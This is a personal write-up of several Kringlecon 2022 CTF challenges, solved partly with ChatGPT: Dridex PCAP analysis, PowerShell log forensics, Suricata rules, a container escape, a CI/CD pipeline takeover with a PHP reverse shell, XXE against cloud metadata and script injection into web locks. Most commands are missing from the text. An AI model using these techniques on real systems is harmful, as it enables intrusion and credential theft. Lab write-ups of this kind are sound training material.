Kringlecon 22 and chatGPT fun
This is my write-up around a couple of Kringlecon22 challenges. I wanted to use chatGPT as much as possible as an experiment for some of these challenges. It's a pretty cool tool to add to your arsenal but it's far from perfect. If you don't know what you're doing, it'll probably point you in the wrong direction. If you know what you're doing, it'll speed up your workflow by providing code/commands you can fix ( suricata rule generation was nice; cracking shadow passwords was cool but didn't mention you had to run unshadow first etc.).
Tolkien ring
PCAP Analysis
1.First question is what type of objects can we export from the pcap?
HTTP
2. What is the filename of the largest file we can export? > app.php
3. What packet number starts the app.php file?
687
4. What is the ip of the Apache server?
?> 192.185.57.242
5. What file is save to the infected host?
'Ref_Sept24-2020.zip'
6.Attackers used bad TLS certificates in this traffic. Which countries were they registered to?
To find that:
Use: tls.handshake.type == 11
On packet 808:
1) make sure the setting "Allow subdissector to reassemble TCP streams" is on in the TCP protocol preferences
2) Then go to the packet which contains the SSL handshake message "Certificate" 3) In the packet detail pane, expand the SSL protocol
4) Expand the "Certificate" TLS record
5) Expand the "certificate" handshake protocol
6) Expand the list of certificates. There is now a list of certificate length and certificates (the list could be only 1 certificate). The first certificate is the server certificate, the second it's signing CA, the third the CA that signed the CA, etc.
7) Now rightclick on the certificate that you want to export
8) Choose "Export selected packet bytes..."
9) Choose a filename and click on save
Then convert the DER to PEM using openssl and decode it with openssl or an online tool. We then get the following info:
There's two bad certificates (the other ones are legitimate Microsoft certificates). We rinse and repeat and get the below answers:
Israel, South Sudan
7. Is the host infected?
Yes; See below for details
File extraction:
We download suspicious pcap; See some http, copy the gzip decompressed body as text:
Then we just copy paste the following as well as the function below (with the big atob string to the dev console in chrome/firefox:
function saveAs(blob, fileName) { let url = window.URL.createObjectURL(blob);
This downloads 'Ref_Sept24-2020.zip' to our computer which contains a .scr file that gets flagged by windows defender.
DIE tells us it's a RAR archive (probably a self-extracting RAR)
We extract that scr using 7zip and get a couple of interesting files:
Selector.vbs just runs dsep.bat; that renames SLP.txt to h1.rar and extracts it so we do that manually. The bat file tells us the password is "Version"
Part 2 powershell logs
We filter by task category and notice the following:
With that, we understand that recipe.txt is what the attacker is after. We search for recipe.txt and see events on the 12/24/2022 tied to recipe.txt being deleted.
Knowing this, we can now apply a filter for events after 12/23/2022 to remove noise.
For question 3, I couldn't find the right command using Windows event log viewer; That's because the GUI abstracts some of the info. Using grep I managed to find the answer:
When did the attack occur? >12/24/2022
What is the filename from which the attacker read secrets? > Recipe.txt
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}
$foo | Add-Content -Path 'Recipe'
>Recipe.txt
6. Were any files deleted? >Yes
7. Was the file from 2) deleted? >No
8. What is the eventId of the logs that show the attacker's commands being run? >4104
9. Is the secret ingredient compromised? > Yes
10.What is the secret ingredient? >honey
Suricata rules
My first rule to match adv[.]epostoday[.]uk was:
For the second rule to match 192[.]185[.]57[.]242
I decided to try this the modern way and asked ChatGPT ( https://chat.openai.com/chat ):
This didn't work and I got:
So I submitted the error to chatGPT:
This still didn't work; I tried using http instead of the "ip" key word and removed both "flow" and "content" this matched 454 packets out of 681.
Not sure what was missing there and I thought I might be matching traffic in one direction only. I asked chatGPT:
That obviously didn't work but the error gave me the answer:
Bi-direction is <> instead of ->
So we change our rule to:
````
alert http 192.185.57.242 any <> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection"; sid:12345; rev:1;)
Third rule being asked is:
We heard that some naughty actors are using TLS certificates with a specific CN. Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya. When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection
Hmm... Pretty good start this time. I changed it a bit using https://suricata.readthedocs.io/en/suricata-6.0.0/rules/tls-keywords.html and got:
Which worked nicely
OK, one more to rule them all and in the darkness find them. Let's watch for one line from the JavaScript: let byteCharacters = atob Oh, and that string might be GZip compressed - I hope that's OK! Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection
ChatGPT returns the following with this prompt:
"Write a rule to watch for one line from the JavaScript: "let byteCharacters = atob" This string might be gzip compressed. Please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection"
Nice start but I had to change it to:
As according to the docs file_data matches strings even for gziped content.
Elven ring
Git
I tried the below and got a permission denied error:
Trying orc_admin came from browsing the repo at https://haugfactory.com/orcadmin and finding this user. Again, I tried using ChatGPT.
That didn't work; So I went to the gitlab website and pressed the clone button to get the http command:
Terminal prompts below to answer:
Container escape
The challenge logs us in a container jail. Goal is to escape and probably read a flag somewhere. I tried using ChatGPT but it was not super helpfull; https://www.cyberark.com/resources/threat-research-blog/the-route-to-root-container-escape-using-kernel-exploitation gave me some pretty good tips towards getting this to work!
First I performed basic recon:
The asked ChatGPT:
I tried all of the above but they were all pretty useless.
Let's keep going with recon:
Connecting to that second ip on port 2222 asks us for samways password. We can use hashcat or jon to try and get that. The entry in /etc/shado file is:
Couple of prompts for ChatGPT asking it to crack our password:
What is a bit disappointing here is that chatGPT didn't mention you need to unshadow the message.
Ok so with all that said and done, we run:
After a while we end up with:
password is samways... duh!
Unfortunately, trying to ssh to that machine didn't work.
Running ps, we see s6-supervise processes
We know running sudo su gets us root.
We look at capabilities:
We check devices in /dev
And we try mounting vda to /mnt:
/mnt/home shows the user jailer -> Nice!
At this point we could try cracking /etc/shadow and /etc/passwd; Another option is adding a user and hash in there;
I poked around /home/jailer and ran cat on the private ssh key:
Oh... Well ok then! As you can see, chatGPT wasn't great there;
CI/CD pipeline
The prompt gives us the following:
We do some recon again:
Running git clone on this, we can't resolve the domain.
We run ifconfig and see we have nmap on the host. Asking ChatGPT:
Nmap scan on one of these ips:
Nice; we now know what the gitlab domain is. Let's clone it
git log outputs the following:
The woops commit seems interesting;
We try to ssh to the gitlab host
Ok, that didn't work; let's try the wordpress host:
Ok, that didn't work...
Lets look for creds in wp:
No interesting creds as they're pulled from variables.
Then I remembered this was about CI/CD deployments; let's try to commit to the repo:
Ok; I think I need to commit as sporx@kringlecon.com using that pem key; let's try that
``` grinchum-land:~/myrepo$ git remote set-url origin ssh://sporx@172.18.0.150/rings-of-powder/wordpress.flag.net.internal.git```
After seeing the gitlab docs https://docs.gitlab.com/ee/user/ssh.html I ran the following:
Nice! Now we run:
Awesome! We just pushed our commit which is now getting deployed.
Now we just need to upload a reverse shell to pwn this! We can just use a simple php shell payload
We launch a screen with a netcat listener:
Add our shell from chatGPT:
Curl our website (to trigger the php code) and wait...
The above fcloses the socket so I asked chatGPT:
And got the following code:
We look at / and find flag.txt a cat returns the elven ring!!!!
Web Ring
Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Tolkien Ring for hints.
Pretty obvious mass hits to /login.html with POST requests; indicator of a bruteforce attack.
Bad ip is 18.222.86.32
The first attack is a brute force login. What's the first username tried?
We use the following filter in Wireshark:
The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?
In the txt file, we look for lots of 404 coming from the bad IP and look for the next 202 success right after:
The last step in this attack was to use XXE to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?
There's a couple of XXE attacks (and technically file:///etc/passwd can be considered a uri ) but the first successfull attacker submitted URI through that XXE/SSRF is:
Which is meant to grab an ec2 instance's IMDS credentials (note that if they used IMDSV2, this wouldn't have happened)
Boria mine locks
We're faced with JS implemented locks;
We open the dev console;
First set of chars is in an html comment:
@&@&&W&&W&&&&
Second lock has the following comment:
So we understand we probably need to perform some kind of injection?
We try to draw the line by injecting svg and play with width and coords to tie both edges together:
The next box has the following html comment:
TODO: FILTER OUT JAVASCRIPT FROM USER INPUT
So we understand that we need to inject js; Maybe we can create the same svg payload as above through js.
Lock 3 also has the following CSP applied to it:
I used the following SO post as a base: https://stackoverflow.com/questions/20539196/creating-svg-elements-dynamically-with-javascript-inside-html
Setting the background style to blue works:
For the next one we see a sanitize input method:
We check the sanitizeInput() code:
Ok so we can't use " ' < or > ; Or we can just ignore the sanitizeInput() js by removing it in the html code prior to submission
For pin4 I used the below but had to disable the sanitizeInput() function before submission:
For pin5 I used:
Last updated